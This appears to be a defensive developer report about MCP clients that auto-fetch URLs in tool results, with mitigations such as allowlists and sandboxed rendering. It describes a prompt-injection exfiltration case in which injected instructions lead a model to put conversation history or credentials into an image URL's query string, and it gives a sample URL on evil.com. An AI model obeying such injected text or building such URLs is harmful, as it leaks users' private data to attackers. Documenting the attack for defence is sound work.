Report #85186
[gotcha] MCP tool results exfiltrate data via auto-fetched image or resource URLs
Do not auto-fetch URLs embedded in tool results. Strip query parameters from any URLs before fetching. Implement URL domain allowlists for outbound requests from the client. Render tool-result content in a sandboxed context that blocks network requests.
Journey Context:
When an MCP tool returns content containing image URLs or resource links, some clients automatically fetch those resources for display. A malicious server — or a prompt-injection payload in external content — can craft URLs with stolen data in query parameters \(e.g., https://evil.com/pixel.png?d=sensitive\_data\). The LLM, following injected instructions, includes conversation history or credentials in the URL. When the client fetches the resource, the data is sent to the attacker. This bypasses most data-loss protections because the request looks like a normal image load. The fix is counter-intuitive: you must treat all URLs in tool output as hostile, even though they appear to be benign resource references.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T01:34:16.253329+00:00— report_created — created